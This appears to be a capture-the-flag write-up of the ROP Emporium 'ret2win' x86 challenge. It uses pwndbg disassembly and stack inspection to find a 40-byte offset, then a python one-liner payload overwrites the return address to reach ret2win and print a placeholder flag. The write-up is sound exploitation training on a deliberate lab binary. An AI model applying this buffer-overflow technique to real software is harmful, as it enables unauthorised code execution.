ROP Emporium - ret2win

6 minute read

Lets analyse the binary with the help of file command,

ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1596c11f85b3ed0881193fe40783e1da685b851, not stripped

It is a not stripped binary so we can view symbols in it

Lets try running this binary,

ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> monish
Thank you!

Exiting

Lets use our debugger on this binary,

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x08048374  _init
0x080483b0  read@plt
0x080483c0  printf@plt
0x080483d0  puts@plt
0x080483e0  system@plt
0x080483f0  __libc_start_main@plt
0x08048400  setvbuf@plt
0x08048410  memset@plt
0x08048420  __gmon_start__@plt
0x08048430  _start
0x08048470  _dl_relocate_static_pie
0x08048480  __x86.get_pc_thunk.bx
0x08048490  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048540  frame_dummy
0x08048546  main
0x080485ad  pwnme
0x0804862c  ret2win
0x08048660  __libc_csu_init
0x080486c0  __libc_csu_fini
0x080486c4  _fini

So we have three relevant functions, main() , pwnme() and ret2win()

Disassembling main(),

pwndbg> disassemble main
Dump of assembler code for function main:
   0x08048546 <+0>:	lea    ecx,[esp+0x4]
   0x0804854a <+4>:	and    esp,0xfffffff0
   0x0804854d <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048550 <+10>:	push   ebp
   0x08048551 <+11>:	mov    ebp,esp
   0x08048553 <+13>:	push   ecx
   0x08048554 <+14>:	sub    esp,0x4
   0x08048557 <+17>:	mov    eax,ds:0x804a030
   0x0804855c <+22>:	push   0x0
   0x0804855e <+24>:	push   0x2
   0x08048560 <+26>:	push   0x0
   0x08048562 <+28>:	push   eax
   0x08048563 <+29>:	call   0x8048400 <setvbuf@plt>
   0x08048568 <+34>:	add    esp,0x10
   0x0804856b <+37>:	sub    esp,0xc
   0x0804856e <+40>:	push   0x80486e0
   0x08048573 <+45>:	call   0x80483d0 <puts@plt>
   0x08048578 <+50>:	add    esp,0x10
   0x0804857b <+53>:	sub    esp,0xc
   0x0804857e <+56>:	push   0x80486f8
   0x08048583 <+61>:	call   0x80483d0 <puts@plt>
   0x08048588 <+66>:	add    esp,0x10
   0x0804858b <+69>:	call   0x80485ad <pwnme>
   0x08048590 <+74>:	sub    esp,0xc
   0x08048593 <+77>:	push   0x80486fd
   0x08048598 <+82>:	call   0x80483d0 <puts@plt>
   0x0804859d <+87>:	add    esp,0x10
   0x080485a0 <+90>:	mov    eax,0x0
   0x080485a5 <+95>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080485a8 <+98>:	leave
   0x080485a9 <+99>:	lea    esp,[ecx-0x4]
   0x080485ac <+102>:	ret
End of assembler dump.

main() calls pwnme()

Disassembling pwnme(),

pwndbg> disassemble pwnme
Dump of assembler code for function pwnme:
   0x080485ad <+0>:	push   ebp
   0x080485ae <+1>:	mov    ebp,esp
   0x080485b0 <+3>:	sub    esp,0x28
   0x080485b3 <+6>:	sub    esp,0x4
   0x080485b6 <+9>:	push   0x20
   0x080485b8 <+11>:	push   0x0
   0x080485ba <+13>:	lea    eax,[ebp-0x28]
   0x080485bd <+16>:	push   eax
   0x080485be <+17>:	call   0x8048410 <memset@plt>
   0x080485c3 <+22>:	add    esp,0x10
   0x080485c6 <+25>:	sub    esp,0xc
   0x080485c9 <+28>:	push   0x8048708
   0x080485ce <+33>:	call   0x80483d0 <puts@plt>
   0x080485d3 <+38>:	add    esp,0x10
   0x080485d6 <+41>:	sub    esp,0xc
   0x080485d9 <+44>:	push   0x8048768
   0x080485de <+49>:	call   0x80483d0 <puts@plt>
   0x080485e3 <+54>:	add    esp,0x10
   0x080485e6 <+57>:	sub    esp,0xc
   0x080485e9 <+60>:	push   0x8048788
   0x080485ee <+65>:	call   0x80483d0 <puts@plt>
   0x080485f3 <+70>:	add    esp,0x10
   0x080485f6 <+73>:	sub    esp,0xc
   0x080485f9 <+76>:	push   0x80487e8
   0x080485fe <+81>:	call   0x80483c0 <printf@plt>
   0x08048603 <+86>:	add    esp,0x10
   0x08048606 <+89>:	sub    esp,0x4
   0x08048609 <+92>:	push   0x38
   0x0804860b <+94>:	lea    eax,[ebp-0x28]
   0x0804860e <+97>:	push   eax
   0x0804860f <+98>:	push   0x0
   0x08048611 <+100>:	call   0x80483b0 <read@plt>
   0x08048616 <+105>:	add    esp,0x10
   0x08048619 <+108>:	sub    esp,0xc
   0x0804861c <+111>:	push   0x80487eb
   0x08048621 <+116>:	call   0x80483d0 <puts@plt>
   0x08048626 <+121>:	add    esp,0x10
   0x08048629 <+124>:	nop
   0x0804862a <+125>:	leave
   0x0804862b <+126>:	ret
End of assembler dump.

In pwnme() we get the input by,

NOTE: read() can also be used to store nullbytes

   0x08048611 <+100>:	call   0x80483b0 <read@plt>

Disassembling ret2win(),

pwndbg> disassemble ret2win
Dump of assembler code for function ret2win:
   0x0804862c <+0>:	push   ebp
   0x0804862d <+1>:	mov    ebp,esp
   0x0804862f <+3>:	sub    esp,0x8
   0x08048632 <+6>:	sub    esp,0xc
   0x08048635 <+9>:	push   0x80487f6
   0x0804863a <+14>:	call   0x80483d0 <puts@plt>
   0x0804863f <+19>:	add    esp,0x10
   0x08048642 <+22>:	sub    esp,0xc
   0x08048645 <+25>:	push   0x8048813
   0x0804864a <+30>:	call   0x80483e0 <system@plt>
   0x0804864f <+35>:	add    esp,0x10
   0x08048652 <+38>:	nop
   0x08048653 <+39>:	leave
   0x08048654 <+40>:	ret
End of assembler dump.

This function is responsible for displaying flag,

pwndbg> x/s 0x80483e0
0x80483e0 <system@plt>:	"\377%\030\240\004\bh\030"
pwndbg> x/s 0x8048813
0x8048813:	"/bin/cat flag.txt"

So we have to call this function to pass this program

We can achieve this by simple overflow upto Instruction Pointer

Lets set break points and check the buffer size,

pwndbg> b *0x08048616
Breakpoint 1 at 0x8048616
pwndbg> r
Starting program: /home/ra/ret2win32/ret2win32
ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> AAAABBBBCCCCDDDD

Breakpoint 1, 0x08048616 in pwnme ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 EAX  0x11
 EBX  0x0
 ECX  0xffffd1f0 ◂— 'AAAABBBBCCCCDDDD\n'
 EDX  0x38
 EDI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 ESI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 EBP  0xffffd218 —▸ 0xffffd228 ◂— 0x0
 ESP  0xffffd1e0 ◂— 0x0
 EIP  0x8048616 (pwnme+105) ◂— add    esp, 0x10
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
  0x8048616 <pwnme+105>    add    esp, 0x10
   0x8048619 <pwnme+108>    sub    esp, 0xc
   0x804861c <pwnme+111>    push   0x80487eb
   0x8048621 <pwnme+116>    call   puts@plt <puts@plt>

   0x8048626 <pwnme+121>    add    esp, 0x10
   0x8048629 <pwnme+124>    nop
   0x804862a <pwnme+125>    leave
   0x804862b <pwnme+126>    ret

   0x804862c <ret2win>      push   ebp
   0x804862d <ret2win+1>    mov    ebp, esp
   0x804862f <ret2win+3>    sub    esp, 8
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000 esp 0xffffd1e0 ◂— 0x0
01:0004     0xffffd1e4 —▸ 0xffffd1f0 ◂— 'AAAABBBBCCCCDDDD\n'
02:0008     0xffffd1e8 ◂— 0x38 /* '8' */
03:000c     0xffffd1ec ◂— 0x4
04:0010 ecx 0xffffd1f0 ◂— 'AAAABBBBCCCCDDDD\n'
05:0014     0xffffd1f4 ◂— 'BBBBCCCCDDDD\n'
06:0018     0xffffd1f8 ◂— 'CCCCDDDD\n'
07:001c     0xffffd1fc ◂— 'DDDD\n'
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
  f 0 0x8048616 pwnme+105
   f 1 0x8048590 main+74
   f 2 0xf7dd9ee5 __libc_start_main+245
────────────────────────────────────────────────────────────────────────────────────────────────────

Now lets check our Base Pointer values,

pwndbg> x/2wx $ebp
0xffffd218:	0xffffd228	0x08048590

The first one is BP and the second one is IP

Lets check our stack values,

pwndbg> x/30wx $esp
0xffffd1e0:	0x00000000	0xffffd1f0	0x00000038	0x00000004
0xffffd1f0:	0x41414141	0x42424242	0x43434343	0x44444444
0xffffd200:	0x0000000a	0x00000000	0x00000000	0x00000000
0xffffd210:	0x080486f8	0x00000000	0xffffd228	0x08048590
0xffffd220:	0xf7fe22f0	0xffffd240	0x00000000	0xf7dd9ee5
0xffffd230:	0xf7fa6000	0xf7fa6000	0x00000000	0xf7dd9ee5
0xffffd240:	0x00000001	0xffffd2d4	0xffffd2dc	0xffffd264
0xffffd250:	0xf7fa6000	0x00000000

Our input in buffer starts at 0xffffd1f0

Our BP is at 0xffffd219

Lets find the space between buffer and BP now,

>>> print(0xffffd218-0xffffd1f0)
40

So we have to pass 40 bytes of junk to reach Base Pointer

We need to overwrite BP with 4 bytes and IP with address of ret2win to call the function by redirecting it

Address of ret2win is 0x0804862c

Lets try our exploit,

ra@moni~/ret2win32> python -c "print('A'*40+'B'*4+'\x2c\x86\x04\x08')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB,
ra@moni~/ret2win32> python -c "print('A'*40+'B'*4+'\x2c\x86\x04\x08')"|./ret2win32
ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
fish: Process 5738, ./ret2win32 python -c "print('A'*40+'B'*4+'…” terminated by signal SIGSEGV (Address boundary error)

Done! we have completed “ret2win”